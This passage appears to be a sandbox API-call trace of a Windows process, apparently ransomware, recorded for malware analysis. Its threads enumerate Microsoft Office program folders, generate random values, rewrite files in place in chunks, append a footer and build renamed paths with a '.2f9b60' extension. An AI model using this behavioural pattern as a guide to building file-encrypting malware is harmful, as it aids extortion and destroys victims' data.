Size=0x20) returned 0x20261400 [0100.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f30 [0100.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f30) returned 1 [0100.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0100.885] WriteFile (in: hFile=0xd1c, lpBuffer=0x420100b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2795fae0, lpOverlapped=0x0 | out: lpBuffer=0x420100b0*, lpNumberOfBytesWritten=0x2795fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420100b0) returned 1 [0130.266] SetFilePointerEx (in: hFile=0xd1c, liDistanceToMove=0x8626e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.266] ReadFile (in: hFile=0xd1c, lpBuffer=0x2014c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2795fae0, lpOverlapped=0x0 | out: lpBuffer=0x2014c1b0*, lpNumberOfBytesRead=0x2795fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.268] SetFilePointerEx (in: hFile=0xd1c, liDistanceToMove=0x8626e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7110 [0130.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7110) returned 1 [0130.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420100b0 [0130.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7110 [0130.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70e0 [0130.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced70e0) returned 1 [0130.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.269] WriteFile (hFile=0xd1c, lpBuffer=0x420100b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2795fae0, lpOverlapped=0x0) [0171.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420100b0) returned 1 [0171.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15300 [0171.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7110) returned 1 [0171.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261400) returned 1 [0171.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a5a0) returned 1 [0171.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2014c1b0) returned 1 [0171.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a5a0 [0171.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0171.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b620 [0171.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b620) returned 1 [0171.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82b620 [0171.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0171.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5c0 [0171.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b5c0) returned 1 [0171.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0171.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x146) returned 0x1cebcc10 [0171.037] SetFilePointerEx (in: hFile=0xd1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0171.037] WriteFile (in: hFile=0xd1c, lpBuffer=0x1cebcc10*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2795fb90, lpOverlapped=0x0 | out: lpBuffer=0x1cebcc10*, lpNumberOfBytesWritten=0x2795fb90*=0x146, lpOverlapped=0x0) returned 1 [0181.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420598d0 [0181.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0181.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0181.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0181.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0181.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0181.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a510 [0181.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a510) returned 1 [0181.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0181.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420598d0) returned 1 [0181.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9edb0 [0181.059] sprintf (in: _Dest=0x1cd9edb0, _Format="%c%c" | out: _Dest="73") returned 2 [0181.059] sprintf (in: _Dest=0x1cd9edb2, _Format="%c%c" | out: _Dest="69") returned 2 [0181.059] sprintf (in: _Dest=0x1cd9edb4, _Format="%c%c" | out: _Dest="d1") returned 2 [0181.059] sprintf (in: _Dest=0x1cd9edb6, _Format="%c%c" | out: _Dest="2a") returned 2 [0181.059] sprintf (in: _Dest=0x1cd9edb8, _Format="%c%c" | out: _Dest="bf") returned 2 [0181.059] sprintf (in: _Dest=0x1cd9edba, _Format="%c%c" | out: _Dest="e9") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edbc, _Format="%c%c" | out: _Dest="5a") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edbe, _Format="%c%c" | out: _Dest="44") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edc0, _Format="%c%c" | out: _Dest="7c") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edc2, _Format="%c%c" | out: _Dest="b6") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edc4, _Format="%c%c" | out: _Dest="10") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edc6, _Format="%c%c" | out: _Dest="d5") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edc8, _Format="%c%c" | out: _Dest="41") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edca, _Format="%c%c" | out: _Dest="62") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edcc, _Format="%c%c" | out: _Dest="87") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edce, _Format="%c%c" | out: _Dest="b9") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edd0, _Format="%c%c" | out: _Dest="ec") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edd2, _Format="%c%c" | out: _Dest="b9") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edd4, _Format="%c%c" | out: _Dest="d8") returned 2 [0181.060] sprintf (in: _Dest=0x1cd9edd6, _Format="%c%c" | out: _Dest="6f") returned 2 [0181.060] RtlInitAnsiString (in: DestinationString=0x2795fc08, SourceString="7369d12abfe95a447cb610d5416287b9ecb9d86f" | out: DestinationString="7369d12abfe95a447cb610d5416287b9ecb9d86f") [0181.060] RtlAnsiStringToUnicodeString (in: DestinationString=0x2795fbd8, SourceString="7369d12abfe95a447cb610d5416287b9ecb9d86f", AllocateDestinationString=1 | out: DestinationString="7369d12abfe95a447cb610d5416287b9ecb9d86f") returned 0x0 [0181.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1ced5e60 [0181.061] RtlFreeAnsiString (AnsiString="7") [0181.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0181.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0181.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0181.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebcc10) returned 1 [0181.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b620) returned 1 [0181.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2f0) returned 1 [0181.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a5a0) returned 1 [0181.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15300) returned 1 [0181.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced72f0) returned 1 [0181.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced73b0) returned 1 [0181.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced73e0) returned 1 [0181.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x42c221b0 [0181.065] wcscat (in: _Dest=0x42c221b0, _Source="7369d12abf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\7369d12abf") returned="C:\\Program Files\\Microsoft Office\\Office14\\7369d12abf" [0181.065] wcscat (in: _Dest=0x42c221b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\7369d12abf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\7369d12abf.2f9b60" [0181.065] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\7369d12abf.2f9b60", NtPathName=0x2795fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\7369d12abf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0181.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x42c31df0 Thread: id = 411 os_tid = 0xf9c [0090.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85e910 [0090.435] wcscpy (in: _Dest=0x1b85e910, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library" [0090.435] wcscat (in: _Dest=0x1b85e910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\" [0090.435] wcscat (in: _Dest=0x1b85e910, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*" [0090.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58c60 [0090.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d130 [0091.004] wcscmp (_String1=".", _String2=".") returned 0 [0091.004] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.004] wcscmp (_String1="..", _String2=".") returned 1 [0091.004] wcscmp (_String1="..", _String2="..") returned 0 [0091.004] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0091.004] wcscmp (_String1="Analysis", _String2=".") returned 1 [0091.004] wcscmp (_String1="Analysis", _String2="..") returned 1 [0091.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b866740 [0091.005] wcscpy (in: _Dest=0x1b866740, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library" [0091.005] wcscat (in: _Dest=0x1b866740, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\" [0091.005] wcscat (in: _Dest=0x1b866740, _Source="Analysis" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0097.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b866740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08 [0097.443] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0097.444] wcscmp (_String1="EUROTOOL.XLAM", _String2=".") returned 1 [0097.444] wcscmp (_String1="EUROTOOL.XLAM", _String2="..") returned 1 [0097.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85c690 [0097.444] wcscpy (in: _Dest=0x1b85c690, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library" [0097.444] wcscat (in: _Dest=0x1b85c690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\" [0097.444] wcscat (in: _Dest=0x1b85c690, _Source="EUROTOOL.XLAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" [0097.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0097.448] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 1 [0097.448] wcscmp (_String1="SOLVER", _String2=".") returned 1 [0097.448] wcscmp (_String1="SOLVER", _String2="..") returned 1 [0097.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b868740 [0097.448] wcscpy (in: _Dest=0x1b868740, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library" [0097.448] wcscat (in: _Dest=0x1b868740, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\" [0097.448] wcscat (in: _Dest=0x1b868740, _Source="SOLVER" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" [0097.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0097.449] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0097.449] FindClose (in: hFindFile=0x1cd9d130 | out: hFindFile=0x1cd9d130) returned 1 [0097.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58c60) returned 1 [0097.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e910) returned 1 [0097.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3490) returned 1 Thread: id = 412 os_tid = 0xfa0 [0090.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\logmodel.mdl")) returned 0x20 [0091.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL", dwFileAttributes=0x20) returned 1 [0091.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\logmodel.mdl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0091.005] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x273ffbc0 | out: lpFileSize=0x273ffbc0*=46480) returned 1 [0091.005] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xb58c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.005] ReadFile (in: hFile=0xd04, lpBuffer=0x273ffb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x273ffb88, lpOverlapped=0x0 | out: lpBuffer=0x273ffb40*, lpNumberOfBytesRead=0x273ffb88*=0x4, lpOverlapped=0x0) returned 1 [0091.368] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0091.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a810 [0091.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aae0 [0091.368] NtQuerySystemTime (in: CurrentTime=0x273ffa80 | out: CurrentTime=0x273ffa80*=132462176972110000) returned 0x0 [0091.368] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x7177e1a9 [0091.368] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x4240f865 [0091.368] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x30ea926 [0091.368] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x3b46b73f [0091.368] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x59221d2 [0091.368] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x347ae6cc [0091.368] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x2f8948df [0091.368] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x715217f3 [0091.368] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x5e6858fb [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x4209a375 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x74ecbdc8 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x7f3824da [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x66361d20 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x5c7ce17e [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x6e238591 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x107b975e [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x58954b7b [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x2f8948df [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x462902d3 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x23f0efb [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x3ac15060 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x719ac512 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x5a024dd0 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x29c03eb0 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x443bdae [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x5a024dd0 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x2821440d [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x107b975e [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x71d56548 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x3ecd3867 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x47e16fe3 [0091.369] RtlRandomEx (in: Seed=0x273ffa70 | out: Seed=0x273ffa70) returned 0x2bd68717 [0091.376] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.376] ReadFile (in: hFile=0xd04, lpBuffer=0x20175950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x273ffae0, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesRead=0x273ffae0*=0x3c00, lpOverlapped=0x0) returned 1 [0091.464] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec10 [0091.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0091.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a8d0) returned 1 [0091.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201900b0 [0091.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0091.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0091.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77a0) returned 1 [0091.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 [0091.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.467] WriteFile (in: hFile=0xd04, lpBuffer=0x201900b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x273ffae0, lpOverlapped=0x0 | out: lpBuffer=0x201900b0*, lpNumberOfBytesWritten=0x273ffae0*=0x3c00, lpOverlapped=0x0) returned 1 [0091.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201900b0) returned 1 [0091.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0091.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7d10 [0091.693] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0091.693] WriteFile (in: hFile=0xd04, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x273ffb90, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x273ffb90*=0x10a, lpOverlapped=0x0) returned 1 [0091.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0091.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7500 [0091.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7500) returned 1 [0091.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0091.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7500 [0091.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0091.756] 